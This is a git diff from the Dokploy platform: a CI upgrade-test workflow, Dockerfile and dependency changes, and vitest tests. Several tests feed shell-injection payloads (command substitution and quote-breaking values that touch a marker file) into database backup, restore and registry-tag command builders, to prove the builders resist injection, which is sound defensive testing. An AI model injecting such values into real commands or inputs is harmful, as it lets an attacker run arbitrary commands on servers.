"{\"name\":\"ci-mongo\",\"appName\":\"ci-mongo-db\",\
|
||||
\"databaseName\":\"cidb\",\"databaseUser\":\"ciuser\",\
|
||||
\"databasePassword\":\"CiMg1pass\",\
|
||||
\"dockerImage\":\"mongo:7.0\",\"environmentId\":\"$ENV_ID\"}")
|
||||
echo "mongo.create → $MG"
|
||||
MG_ID=$(echo "$MG" | jq -r '.result.data.json.mongoId')
|
||||
trpc_mut mongo.deploy "{\"mongoId\":\"$MG_ID\"}" > /dev/null
|
||||
echo "mg_id=$MG_ID" >> "$GITHUB_OUTPUT"
|
||||
|
||||
# --- Docker-image application helper ---
|
||||
make_app() {
|
||||
local DISP_NAME=$1 APP_NAME=$2 IMAGE=$3
|
||||
APP=$(trpc_mut application.create \
|
||||
"{\"name\":\"$DISP_NAME\",\"appName\":\"$APP_NAME\",\"environmentId\":\"$ENV_ID\"}")
|
||||
APP_ID=$(echo "$APP" | jq -r '.result.data.json.applicationId')
|
||||
trpc_mut application.saveDockerProvider \
|
||||
"{\"applicationId\":\"$APP_ID\",\"dockerImage\":\"$IMAGE\",\
|
||||
\"username\":\"\",\"password\":\"\",\"registryUrl\":\"\"}" \
|
||||
> /dev/null
|
||||
trpc_mut application.deploy "{\"applicationId\":\"$APP_ID\"}" \
|
||||
> /dev/null
|
||||
echo "$APP_ID"
|
||||
}
|
||||
|
||||
# Static site (nginx)
|
||||
APP_STATIC=$(make_app "ci-static" "ci-static-app" "nginx:alpine")
|
||||
echo "app_static_id=$APP_STATIC" >> "$GITHUB_OUTPUT"
|
||||
|
||||
# Node.js hello-world (echo server image — small, no args needed)
|
||||
APP_NODE=$(make_app "ci-node" "ci-node-app" "ealen/echo-server:latest")
|
||||
echo "app_node_id=$APP_NODE" >> "$GITHUB_OUTPUT"
|
||||
|
||||
# Go HTTP server (traefik/whoami is a tiny Go binary, port 80)
|
||||
APP_GO=$(make_app "ci-go" "ci-go-app" "traefik/whoami:latest")
|
||||
echo "app_go_id=$APP_GO" >> "$GITHUB_OUTPUT"
|
||||
|
||||
echo "✅ All resources created"
|
||||
|
||||
# ── Pre-upgrade health check ───────────────────────────────────────────
|
||||
- name: Wait for all services → 'done' (pre-upgrade)
|
||||
env:
|
||||
BASE: "http://localhost:${{ env.DOKPLOY_PORT }}"
|
||||
COOKIE: ${{ steps.auth.outputs.cookie_jar }}
|
||||
PG_ID: ${{ steps.create.outputs.pg_id }}
|
||||
MG_ID: ${{ steps.create.outputs.mg_id }}
|
||||
APP_STATIC_ID: ${{ steps.create.outputs.app_static_id }}
|
||||
APP_NODE_ID: ${{ steps.create.outputs.app_node_id }}
|
||||
APP_GO_ID: ${{ steps.create.outputs.app_go_id }}
|
||||
run: |
|
||||
wait_done() {
|
||||
local NAME=$1 ENDPOINT=$2 ID_KEY=$3 ID=$4 STATUS_KEY=$5
|
||||
echo "Waiting for $NAME to reach 'done'..."
|
||||
timeout 360 bash -c "
|
||||
until [ \"\$(curl -sf -G '$BASE/api/trpc/$ENDPOINT' \
|
||||
--data-urlencode 'input={\"json\":{\"$ID_KEY\":\"$ID\"}}' \
|
||||
-b '$COOKIE' | \
|
||||
jq -r '.result.data.json.$STATUS_KEY // \"unknown\"')\" \
|
||||
= 'done' ]; do
|
||||
sleep 5
|
||||
done
|
||||
"
|
||||
echo "✅ $NAME is done"
|
||||
}
|
||||
|
||||
wait_done postgres postgres.one postgresId "$PG_ID" applicationStatus
|
||||
wait_done mongo mongo.one mongoId "$MG_ID" applicationStatus
|
||||
wait_done static application.one applicationId "$APP_STATIC_ID" applicationStatus
|
||||
wait_done node-app application.one applicationId "$APP_NODE_ID" applicationStatus
|
||||
wait_done go-app application.one applicationId "$APP_GO_ID" applicationStatus
|
||||
|
||||
- name: Assert Docker Swarm services healthy (pre-upgrade)
|
||||
run: |
|
||||
echo "=== docker service ls ==="
|
||||
docker service ls
|
||||
|
||||
FAIL=$(docker service ls --format '{{.Name}} {{.Replicas}}' | \
|
||||
grep -E '^ci-' | grep -v ' 1/1' || true)
|
||||
if [ -n "$FAIL" ]; then
|
||||
echo "❌ User services not healthy before upgrade:"
|
||||
echo "$FAIL"
|
||||
exit 1
|
||||
fi
|
||||
echo "✅ All user services healthy before upgrade"
|
||||
|
||||
# ── Upgrade ────────────────────────────────────────────────────────────
|
||||
- name: Upgrade Dokploy to VERSION B (${{ matrix.pair.to }})
|
||||
run: |
|
||||
docker service update \
|
||||
--image "${{ env.DOKPLOY_IMAGE }}:${{ matrix.pair.to }}" \
|
||||
--force \
|
||||
"${{ env.DOKPLOY_SERVICE }}"
|
||||
|
||||
echo "Waiting for service to converge on ${{ matrix.pair.to }}..."
|
||||
timeout 240 bash -c '
|
||||
until ! docker service inspect dokploy \
|
||||
--format "{{.UpdateStatus.State}}" 2>/dev/null \
|
||||
| grep -q "^updating$"; do
|
||||
sleep 4
|
||||
done
|
||||
until docker service ls --filter name=dokploy \
|
||||
--format "{{.Name}} {{.Replicas}}" \
|
||||
| grep "^dokploy " | grep -q " 1/1"; do
|
||||
sleep 4
|
||||
done
|
||||
'
|
||||
echo "✅ Service running on ${{ matrix.pair.to }}"
|
||||
|
||||
- name: Wait for Dokploy API to respond post-upgrade
|
||||
run: |
|
||||
timeout 180 bash -c '
|
||||
until curl -sf -o /dev/null \
|
||||
"http://localhost:${{ env.DOKPLOY_PORT }}"; do
|
||||
sleep 3
|
||||
done
|
||||
'
|
||||
echo "✅ Dokploy API is up after upgrade"
|
||||
|
||||
# ── Post-upgrade health check ──────────────────────────────────────────
|
||||
- name: Verify all services still healthy (post-upgrade)
|
||||
env:
|
||||
BASE: "http://localhost:${{ env.DOKPLOY_PORT }}"
|
||||
COOKIE: ${{ steps.auth.outputs.cookie_jar }}
|
||||
PG_ID: ${{ steps.create.outputs.pg_id }}
|
||||
MG_ID: ${{ steps.create.outputs.mg_id }}
|
||||
APP_STATIC_ID: ${{ steps.create.outputs.app_static_id }}
|
||||
APP_NODE_ID: ${{ steps.create.outputs.app_node_id }}
|
||||
APP_GO_ID: ${{ steps.create.outputs.app_go_id }}
|
||||
run: |
|
||||
check_status() {
|
||||
local NAME=$1 ENDPOINT=$2 ID_KEY=$3 ID=$4 STATUS_KEY=$5
|
||||
STATUS=$(curl -sf -G "$BASE/api/trpc/$ENDPOINT" \
|
||||
--data-urlencode "input={\"json\":{\"$ID_KEY\":\"$ID\"}}" \
|
||||
-b "$COOKIE" | \
|
||||
jq -r ".result.data.json.$STATUS_KEY // \"unknown\"")
|
||||
if [ "$STATUS" != "done" ]; then
|
||||
echo "❌ $NAME status after upgrade: $STATUS"
|
||||
return 1
|
||||
fi
|
||||
echo "✅ $NAME: $STATUS"
|
||||
}
|
||||
|
||||
check_status postgres postgres.one postgresId "$PG_ID" applicationStatus
|
||||
check_status mongo mongo.one mongoId "$MG_ID" applicationStatus
|
||||
check_status static application.one applicationId "$APP_STATIC_ID" applicationStatus
|
||||
check_status node-app application.one applicationId "$APP_NODE_ID" applicationStatus
|
||||
check_status go-app application.one applicationId "$APP_GO_ID" applicationStatus
|
||||
|
||||
echo "=== docker service ls (post-upgrade) ==="
|
||||
docker service ls
|
||||
|
||||
FAIL=$(docker service ls --format '{{.Name}} {{.Replicas}}' | \
|
||||
grep -E '^ci-' | grep -v ' 1/1' || true)
|
||||
if [ -n "$FAIL" ]; then
|
||||
echo "❌ User services not healthy after upgrade:"
|
||||
echo "$FAIL"
|
||||
exit 1
|
||||
fi
|
||||
echo "✅ All services healthy after upgrade to ${{ matrix.pair.to }}"
|
||||
|
||||
# ── Diagnostics on failure ─────────────────────────────────────────────
|
||||
- name: Dump state on failure
|
||||
if: failure()
|
||||
run: |
|
||||
echo "=== docker service ls ===" && docker service ls || true
|
||||
echo "=== dokploy service tasks ===" && \
|
||||
docker service ps "${{ env.DOKPLOY_SERVICE }}" --no-trunc || true
|
||||
echo "=== dokploy logs (last 200) ===" && \
|
||||
docker service logs "${{ env.DOKPLOY_SERVICE }}" --tail 200 2>&1 || true
|
||||
echo "=== install.sh tail ===" && \
|
||||
tail -100 /tmp/install.sh 2>&1 || true
|
||||
echo "=== signup response ===" && \
|
||||
cat /tmp/signup.out 2>&1 || true
|
||||
echo "=== disk usage ===" && df -h
|
||||
|
||||
# ── Job summary ────────────────────────────────────────────────────────
|
||||
- name: Write job summary
|
||||
if: always()
|
||||
run: |
|
||||
STATUS="${{ job.status }}"
|
||||
ICON="✅"; [ "$STATUS" != "success" ] && ICON="❌"
|
||||
cat >> "$GITHUB_STEP_SUMMARY" <<EOF
|
||||
## ${ICON} ${{ matrix.pair.from }} → ${{ matrix.pair.to }}: ${STATUS^^}
|
||||
|
||||
| Service | Image |
|
||||
|---------|-------|
|
||||
| ci-pg-db | postgres:15 |
|
||||
| ci-mongo-db | mongo:7.0 |
|
||||
| ci-static-app | nginx:alpine (static site) |
|
||||
| ci-node-app | ealen/echo-server (Node.js hello-world) |
|
||||
| ci-go-app | traefik/whoami (Go HTTP server) |
|
||||
EOF
|
||||
5
.gitignore
vendored
5
.gitignore
vendored
@ -43,4 +43,7 @@ yarn-error.log*
|
||||
*.pem
|
||||
|
||||
|
||||
.db
|
||||
.db
|
||||
|
||||
.playwright-*
|
||||
.credentials
|
||||
3
.vscode/settings.json
vendored
3
.vscode/settings.json
vendored
@ -4,5 +4,8 @@
|
||||
"editor.codeActionsOnSave": {
|
||||
"source.fixAll.biome": "explicit",
|
||||
"source.organizeImports.biome": "explicit"
|
||||
},
|
||||
"[typescript]": {
|
||||
"editor.defaultFormatter": "biomejs.biome"
|
||||
}
|
||||
}
|
||||
|
||||
2
.worktreeinclude
Normal file
2
.worktreeinclude
Normal file
@ -0,0 +1,2 @@
|
||||
.env
|
||||
.env.local
|
||||
6
CLAUDE.md
Normal file
6
CLAUDE.md
Normal file
@ -0,0 +1,6 @@
|
||||
## Code style
|
||||
- Don't write comments that restate what the code already says.
|
||||
- Comment only the "why" when something isn't obvious: workarounds,
|
||||
counterintuitive decisions, constraints from an external API.
|
||||
- No section-divider comments like `// --- Helpers ---`.
|
||||
- Don't leave comments describing the change you just made.
|
||||
10
Dockerfile
10
Dockerfile
@ -31,7 +31,7 @@ WORKDIR /app
|
||||
# Set production
|
||||
ENV NODE_ENV=production
|
||||
|
||||
RUN apt-get update && apt-get install -y curl unzip zip apache2-utils iproute2 rsync git-lfs && git lfs install && rm -rf /var/lib/apt/lists/*
|
||||
RUN apt-get update && apt-get install -y tini curl unzip zip apache2-utils iproute2 rsync git-lfs && git lfs install && rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Copy only the necessary files
|
||||
COPY --from=build /prod/dokploy/.next ./.next
|
||||
@ -66,7 +66,11 @@ COPY --from=buildpacksio/pack:0.39.1 /usr/local/bin/pack /usr/local/bin/pack
|
||||
|
||||
EXPOSE 3000
|
||||
|
||||
HEALTHCHECK --interval=10s --timeout=3s --retries=10 \
|
||||
HEALTHCHECK --interval=30s --timeout=5s --start-period=60s --retries=5 \
|
||||
CMD curl -fs http://localhost:3000/api/trpc/settings.health || exit 1
|
||||
|
||||
CMD ["sh", "-c", "pnpm run wait-for-postgres && exec pnpm start"]
|
||||
# tini reaps HEALTHCHECK child processes that Node (as PID 1) leaves defunct.
|
||||
ENTRYPOINT ["/usr/bin/tini", "--"]
|
||||
|
||||
# Ejecutar node directamente: pnpm como wrapper queda residente (~100MB RSS)
|
||||
CMD ["sh", "-c", "node -r dotenv/config dist/wait-for-postgres.mjs && node -r dotenv/config dist/migration.mjs && exec node -r dotenv/config dist/server.mjs"]
|
||||
|
||||
@ -17,18 +17,18 @@
|
||||
"hono": "^4.11.7",
|
||||
"pino": "9.4.0",
|
||||
"pino-pretty": "11.2.2",
|
||||
"react": "18.2.0",
|
||||
"react-dom": "18.2.0",
|
||||
"react": "19.2.7",
|
||||
"react-dom": "19.2.7",
|
||||
"redis": "4.7.0",
|
||||
"zod": "^4.3.6"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/node": "^24.4.0",
|
||||
"@types/react": "^18.2.37",
|
||||
"@types/react-dom": "^18.2.15",
|
||||
"@types/react": "^19.2.0",
|
||||
"@types/react-dom": "^19.2.0",
|
||||
"rimraf": "6.1.3",
|
||||
"tsx": "^4.16.2",
|
||||
"typescript": "^5.8.3"
|
||||
"tsx": "^4.22.4",
|
||||
"typescript": "^7.0.2"
|
||||
},
|
||||
"packageManager": "pnpm@10.22.0",
|
||||
"engines": {
|
||||
|
||||
@ -2,13 +2,12 @@
|
||||
"compilerOptions": {
|
||||
"target": "ESNext",
|
||||
"module": "ESNext",
|
||||
"moduleResolution": "Node",
|
||||
"moduleResolution": "bundler",
|
||||
"strict": true,
|
||||
"skipLibCheck": true,
|
||||
"outDir": "dist",
|
||||
"rootDir": "./src",
|
||||
"jsx": "react-jsx",
|
||||
"jsxImportSource": "hono/jsx",
|
||||
"baseUrl": ".",
|
||||
"paths": {
|
||||
"@/*": ["./*"],
|
||||
"@dokploy/server/*": ["../../packages/server/src/*"]
|
||||
|
||||
26
apps/dokploy/__test__/api/api-key-name.test.ts
Normal file
26
apps/dokploy/__test__/api/api-key-name.test.ts
Normal file
@ -0,0 +1,26 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
|
||||
|
||||
describe("apiKeyNameSchema", () => {
|
||||
it("rejects an empty name", () => {
|
||||
const result = apiKeyNameSchema.safeParse("");
|
||||
expect(result.success).toBe(false);
|
||||
});
|
||||
|
||||
it("accepts a name at the maximum length", () => {
|
||||
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH);
|
||||
const result = apiKeyNameSchema.safeParse(name);
|
||||
expect(result.success).toBe(true);
|
||||
});
|
||||
|
||||
it("rejects a name over the maximum length instead of passing it to better-auth", () => {
|
||||
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH + 1);
|
||||
const result = apiKeyNameSchema.safeParse(name);
|
||||
expect(result.success).toBe(false);
|
||||
if (!result.success) {
|
||||
expect(result.error.issues[0]?.message).toBe(
|
||||
`Name must be at most ${API_KEY_NAME_MAX_LENGTH} characters`,
|
||||
);
|
||||
}
|
||||
});
|
||||
});
|
||||
23
apps/dokploy/__test__/api/session-management.test.ts
Normal file
23
apps/dokploy/__test__/api/session-management.test.ts
Normal file
@ -0,0 +1,23 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { z } from "zod";
|
||||
|
||||
const revokeSessionSchema = z.object({
|
||||
sessionId: z.string(),
|
||||
});
|
||||
|
||||
describe("revokeSession input validation", () => {
|
||||
it("accepts a valid session id", () => {
|
||||
const result = revokeSessionSchema.safeParse({ sessionId: "abc123" });
|
||||
expect(result.success).toBe(true);
|
||||
});
|
||||
|
||||
it("rejects missing sessionId", () => {
|
||||
const result = revokeSessionSchema.safeParse({});
|
||||
expect(result.success).toBe(false);
|
||||
});
|
||||
|
||||
it("rejects non-string sessionId", () => {
|
||||
const result = revokeSessionSchema.safeParse({ sessionId: 123 });
|
||||
expect(result.success).toBe(false);
|
||||
});
|
||||
});
|
||||
@ -0,0 +1,106 @@
|
||||
import { execSync } from "node:child_process";
|
||||
import { chmodSync, existsSync, rmSync, writeFileSync } from "node:fs";
|
||||
import {
|
||||
getLibsqlBackupCommand,
|
||||
getMariadbBackupCommand,
|
||||
getMongoBackupCommand,
|
||||
getMysqlBackupCommand,
|
||||
getPostgresBackupCommand,
|
||||
} from "@dokploy/server/utils/backups/utils";
|
||||
import {
|
||||
getMariadbRestoreCommand,
|
||||
getMongoRestoreCommand,
|
||||
getMysqlRestoreCommand,
|
||||
getPostgresRestoreCommand,
|
||||
} from "@dokploy/server/utils/restore/utils";
|
||||
import { afterAll, beforeAll, describe, expect, it } from "vitest";
|
||||
|
||||
// A stub replacing the real `docker` binary. It ignores exec/-i/$CONTAINER_ID,
|
||||
// exports the -e VAR=val pairs, and runs the inner `sh -c <script>` — so the
|
||||
// test exercises BOTH shell layers (outer /bin/sh building the docker command,
|
||||
// and the inner shell) the way production does, without needing a container.
|
||||
const stub = `/tmp/docker_stub_${process.pid}`;
|
||||
const MARK = `/tmp/dokploy_dbbk_pwned_${process.pid}`;
|
||||
|
||||
beforeAll(() => {
|
||||
writeFileSync(
|
||||
stub,
|
||||
`#!/bin/bash
|
||||
shift # exec
|
||||
envs=()
|
||||
while [ "$1" = "-e" ]; do envs+=("$2"); shift 2; done
|
||||
shift 2 # -i CONTAINER
|
||||
shell="$1"; shift # bash|sh
|
||||
shift # -c
|
||||
env "\${envs[@]}" "$shell" -c "$1" </dev/null 2>/dev/null || true
|
||||
`,
|
||||
);
|
||||
chmodSync(stub, 0o755);
|
||||
});
|
||||
|
||||
afterAll(() => {
|
||||
if (existsSync(stub)) rmSync(stub);
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
});
|
||||
|
||||
// Run a builder-produced command with `docker` pointed at the stub; return true
|
||||
// if no injected command fired.
|
||||
const runsSafely = (command: string) => {
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
const withStub = command.replace(/^docker /, `${stub} `);
|
||||
try {
|
||||
execSync(withStub, {
|
||||
shell: "/bin/bash",
|
||||
stdio: "ignore",
|
||||
env: { ...process.env, CONTAINER_ID: "test" },
|
||||
});
|
||||
} catch {}
|
||||
const fired = existsSync(MARK);
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
return !fired;
|
||||
};
|
||||
|
||||
// Payloads that try to break out of every quoting style used in the builders.
|
||||
const p = (mark: string) => [
|
||||
`$(touch ${mark})`,
|
||||
"`touch " + mark + "`",
|
||||
`x'; touch ${mark}; '`,
|
||||
`x"; touch ${mark}; echo "`,
|
||||
`x; touch ${mark}`,
|
||||
];
|
||||
|
||||
describe("database backup/restore command injection", () => {
|
||||
const cases: Array<[string, (v: string) => string]> = [
|
||||
["postgres backup (database)", (v) => getPostgresBackupCommand(v, "u")],
|
||||
["postgres backup (user)", (v) => getPostgresBackupCommand("db", v)],
|
||||
["mariadb backup (password)", (v) => getMariadbBackupCommand("db", "u", v)],
|
||||
["mysql backup (database)", (v) => getMysqlBackupCommand(v, "pw")],
|
||||
["mongo backup (user)", (v) => getMongoBackupCommand("db", v, "pw")],
|
||||
["libsql backup (database)", (v) => getLibsqlBackupCommand(v)],
|
||||
["postgres restore (database)", (v) => getPostgresRestoreCommand(v, "u")],
|
||||
[
|
||||
"mariadb restore (password)",
|
||||
(v) => getMariadbRestoreCommand("db", "u", v),
|
||||
],
|
||||
["mysql restore (database)", (v) => getMysqlRestoreCommand(v, "pw")],
|
||||
["mongo restore (user)", (v) => getMongoRestoreCommand("db", v, "pw")],
|
||||
];
|
||||
|
||||
for (const [label, build] of cases) {
|
||||
it(`${label} is not injectable`, () => {
|
||||
for (const payload of p(MARK)) {
|
||||
expect(runsSafely(build(payload))).toBe(true);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
it("preserves a legitimate database name (passed through as env var)", () => {
|
||||
const cmd = getPostgresBackupCommand("my-db_prod", "app_user");
|
||||
// Values live in -e assignments, never inline in the pg_dump text.
|
||||
expect(cmd).toContain("-e DB_NAME=my-db_prod");
|
||||
expect(cmd).toContain("-e DB_USER=app_user");
|
||||
expect(cmd).toContain(
|
||||
'pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER"',
|
||||
);
|
||||
});
|
||||
});
|
||||
50
apps/dokploy/__test__/backups/redact-credentials.test.ts
Normal file
50
apps/dokploy/__test__/backups/redact-credentials.test.ts
Normal file
@ -0,0 +1,50 @@
|
||||
import { redactRcloneCredentials } from "@dokploy/server/utils/backups/redact";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
describe("redactRcloneCredentials (#4621)", () => {
|
||||
it("should redact access key in rclone command", () => {
|
||||
const cmd =
|
||||
'rclone rcat --s3-access-key-id="AKIAIOSFODNN7EXAMPLE" --s3-secret-access-key="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" :s3:bucket/file.gz';
|
||||
const redacted = redactRcloneCredentials(cmd);
|
||||
expect(redacted).not.toContain("AKIAIOSFODNN7EXAMPLE");
|
||||
expect(redacted).toContain('--s3-access-key-id="[REDACTED]"');
|
||||
});
|
||||
|
||||
it("should redact secret access key in rclone command", () => {
|
||||
const cmd =
|
||||
'rclone rcat --s3-access-key-id="key" --s3-secret-access-key="supersecret" :s3:bucket/file.gz';
|
||||
const redacted = redactRcloneCredentials(cmd);
|
||||
expect(redacted).not.toContain("supersecret");
|
||||
expect(redacted).toContain('--s3-secret-access-key="[REDACTED]"');
|
||||
});
|
||||
|
||||
it("should redact both credentials simultaneously", () => {
|
||||
const cmd =
|
||||
'rclone lsf --s3-access-key-id="AKIA123" --s3-secret-access-key="secret456" --s3-region="us-east-1" :s3:bucket/';
|
||||
const redacted = redactRcloneCredentials(cmd);
|
||||
expect(redacted).not.toContain("AKIA123");
|
||||
expect(redacted).not.toContain("secret456");
|
||||
expect(redacted).toContain('--s3-region="us-east-1"');
|
||||
});
|
||||
|
||||
it("should not modify non-credential flags", () => {
|
||||
const cmd =
|
||||
'rclone rcat --s3-region="eu-west-1" --s3-endpoint="https://s3.example.com" --s3-no-check-bucket :s3:bucket/file.gz';
|
||||
const redacted = redactRcloneCredentials(cmd);
|
||||
expect(redacted).toBe(cmd);
|
||||
});
|
||||
|
||||
it("should handle commands with no credentials", () => {
|
||||
const cmd = "rclone lsf :s3:bucket/";
|
||||
expect(redactRcloneCredentials(cmd)).toBe(cmd);
|
||||
});
|
||||
|
||||
it("should handle error strings containing credentials", () => {
|
||||
const errorStr =
|
||||
'Error: Command failed: rclone lsf --s3-access-key-id="MYKEY" --s3-secret-access-key="MYSECRET" :s3:bucket/';
|
||||
const redacted = redactRcloneCredentials(errorStr);
|
||||
expect(redacted).not.toContain("MYKEY");
|
||||
expect(redacted).not.toContain("MYSECRET");
|
||||
expect(redacted).toContain("[REDACTED]");
|
||||
});
|
||||
});
|
||||
57
apps/dokploy/__test__/backups/restore-use-statement.test.ts
Normal file
57
apps/dokploy/__test__/backups/restore-use-statement.test.ts
Normal file
@ -0,0 +1,57 @@
|
||||
import { execSync } from "node:child_process";
|
||||
import {
|
||||
getRestoreCommand,
|
||||
stripDatabaseSwitchCommand,
|
||||
} from "@dokploy/server/utils/restore/utils";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const filter = (input: string) =>
|
||||
execSync(stripDatabaseSwitchCommand, {
|
||||
input,
|
||||
shell: "/bin/bash",
|
||||
}).toString();
|
||||
|
||||
describe("restore drops database-switch statements (mysql/mariadb)", () => {
|
||||
const dump = [
|
||||
"-- MariaDB dump",
|
||||
"CREATE DATABASE /*!32312 IF NOT EXISTS*/ `production_db`;",
|
||||
"USE `production_db`;",
|
||||
"use production_db;",
|
||||
"DROP TABLE IF EXISTS `users`;",
|
||||
"CREATE TABLE `users` (`id` int NOT NULL);",
|
||||
"INSERT INTO `users` VALUES (1),(2);",
|
||||
"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
|
||||
].join("\n");
|
||||
|
||||
it("removes USE and CREATE DATABASE lines but keeps everything else", () => {
|
||||
const result = filter(dump);
|
||||
expect(result).not.toContain("USE `production_db`");
|
||||
expect(result).not.toContain("use production_db");
|
||||
expect(result).not.toContain("CREATE DATABASE /*!32312");
|
||||
expect(result).toContain("DROP TABLE IF EXISTS `users`;");
|
||||
expect(result).toContain("CREATE TABLE `users` (`id` int NOT NULL);");
|
||||
expect(result).toContain("INSERT INTO `users` VALUES (1),(2);");
|
||||
expect(result).toContain(
|
||||
"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
|
||||
);
|
||||
});
|
||||
|
||||
it("is wired into mysql and mariadb restore pipelines only", () => {
|
||||
const base = {
|
||||
appName: "my-app",
|
||||
restoreType: "database" as const,
|
||||
credentials: {
|
||||
database: "dev_db",
|
||||
databaseUser: "u",
|
||||
databasePassword: "p",
|
||||
},
|
||||
rcloneCommand: "rclone cat ':s3:bucket/file.sql.gz' | gunzip",
|
||||
};
|
||||
for (const type of ["mysql", "mariadb"] as const) {
|
||||
const cmd = getRestoreCommand({ ...base, type });
|
||||
expect(cmd).toContain(`gunzip | ${stripDatabaseSwitchCommand} | docker`);
|
||||
}
|
||||
const pgCmd = getRestoreCommand({ ...base, type: "postgres" });
|
||||
expect(pgCmd).not.toContain(stripDatabaseSwitchCommand);
|
||||
});
|
||||
});
|
||||
82
apps/dokploy/__test__/backups/volume-backup-restart.test.ts
Normal file
82
apps/dokploy/__test__/backups/volume-backup-restart.test.ts
Normal file
@ -0,0 +1,82 @@
|
||||
import { spawnSync } from "node:child_process";
|
||||
import { createRestartSafeBackupCommand } from "@dokploy/server/utils/volume-backups/backup";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const runCommand = (command: string) =>
|
||||
spawnSync("bash", ["-c", command], {
|
||||
encoding: "utf8",
|
||||
});
|
||||
|
||||
const outputLines = (stdout: string) =>
|
||||
stdout
|
||||
.trim()
|
||||
.split("\n")
|
||||
.filter((line) => line.length > 0);
|
||||
|
||||
describe("createRestartSafeBackupCommand", () => {
|
||||
it("restarts the service and preserves the backup error status", () => {
|
||||
const result = runCommand(
|
||||
createRestartSafeBackupCommand({
|
||||
stopCommand: 'echo "stop"',
|
||||
backupCommand: 'echo "backup"; exit 23',
|
||||
startCommand: 'echo "start"',
|
||||
uploadCommand: 'echo "upload"',
|
||||
}),
|
||||
);
|
||||
|
||||
expect(result.status).toBe(23);
|
||||
expect(outputLines(result.stdout)).toEqual(["stop", "backup", "start"]);
|
||||
});
|
||||
|
||||
it("preserves the backup error status when the restart also fails", () => {
|
||||
const result = runCommand(
|
||||
createRestartSafeBackupCommand({
|
||||
stopCommand: 'echo "stop"',
|
||||
backupCommand: 'echo "backup"; exit 23',
|
||||
startCommand: 'echo "start"; exit 17',
|
||||
uploadCommand: 'echo "upload"',
|
||||
}),
|
||||
);
|
||||
|
||||
expect(result.status).toBe(23);
|
||||
expect(outputLines(result.stdout)).toEqual([
|
||||
"stop",
|
||||
"backup",
|
||||
"start",
|
||||
"Service restart also failed with exit code 17",
|
||||
]);
|
||||
});
|
||||
|
||||
it("returns the restart error status when the backup succeeds", () => {
|
||||
const result = runCommand(
|
||||
createRestartSafeBackupCommand({
|
||||
stopCommand: 'echo "stop"',
|
||||
backupCommand: 'echo "backup"',
|
||||
startCommand: 'echo "start"; exit 17',
|
||||
uploadCommand: 'echo "upload"',
|
||||
}),
|
||||
);
|
||||
|
||||
expect(result.status).toBe(17);
|
||||
expect(outputLines(result.stdout)).toEqual(["stop", "backup", "start"]);
|
||||
});
|
||||
|
||||
it("uploads only after a successful backup and service restart", () => {
|
||||
const result = runCommand(
|
||||
createRestartSafeBackupCommand({
|
||||
stopCommand: 'echo "stop"',
|
||||
backupCommand: 'echo "backup"',
|
||||
startCommand: 'echo "start"',
|
||||
uploadCommand: 'echo "upload"',
|
||||
}),
|
||||
);
|
||||
|
||||
expect(result.status).toBe(0);
|
||||
expect(outputLines(result.stdout)).toEqual([
|
||||
"stop",
|
||||
"backup",
|
||||
"start",
|
||||
"upload",
|
||||
]);
|
||||
});
|
||||
});
|
||||
@ -0,0 +1,70 @@
|
||||
import { execSync } from "node:child_process";
|
||||
import { existsSync, rmSync } from "node:fs";
|
||||
import { getRegistryTag } from "@dokploy/server/utils/cluster/upload";
|
||||
import { parse, quote } from "shell-quote";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const MARK = `/tmp/dokploy_regnode_pwned_${process.pid}`;
|
||||
|
||||
const runsSafely = (command: string) => {
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
try {
|
||||
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
|
||||
} catch {}
|
||||
const fired = existsSync(MARK);
|
||||
if (existsSync(MARK)) rmSync(MARK);
|
||||
return !fired;
|
||||
};
|
||||
|
||||
const PAYLOADS = (m: string) => [
|
||||
`$(touch ${m})`,
|
||||
"`touch " + m + "`",
|
||||
`x; touch ${m}`,
|
||||
`x | touch ${m}`,
|
||||
];
|
||||
|
||||
describe("cluster removeWorker nodeId injection", () => {
|
||||
// docker node update/rm ${quote([nodeId])} — replace `docker node` with `:`.
|
||||
it("escapes nodeId in drain/remove commands", () => {
|
||||
for (const nodeId of PAYLOADS(MARK)) {
|
||||
const drain = `: node update --availability drain ${quote([nodeId])}`;
|
||||
const remove = `: node rm ${quote([nodeId])} --force`;
|
||||
expect(runsSafely(drain)).toBe(true);
|
||||
expect(runsSafely(remove)).toBe(true);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe("swarm upload registry tag/push injection", () => {
|
||||
// registryTag is built from registryUrl/username/imagePrefix (username and
|
||||
// imagePrefix have no schema regex). Assert docker tag/push stay safe.
|
||||
it("escapes a malicious imagePrefix flowing into the registry tag", () => {
|
||||
for (const payload of PAYLOADS(MARK)) {
|
||||
const registryTag = getRegistryTag(
|
||||
{
|
||||
registryUrl: "registry.example.com",
|
||||
imagePrefix: payload,
|
||||
username: "user",
|
||||
} as any,
|
||||
"app:latest",
|
||||
);
|
||||
const tagCmd = `: tag ${quote(["app:latest"])} ${quote([registryTag])}`;
|
||||
const pushCmd = `: push ${quote([registryTag])}`;
|
||||
expect(runsSafely(tagCmd)).toBe(true);
|
||||
expect(runsSafely(pushCmd)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("keeps a legitimate registry tag intact", () => {
|
||||
const tag = getRegistryTag(
|
||||
{
|
||||
registryUrl: "registry.example.com",
|
||||
imagePrefix: "team",
|
||||
username: "user",
|
||||
} as any,
|
||||
"myapp:1.2.3",
|
||||
);
|
||||
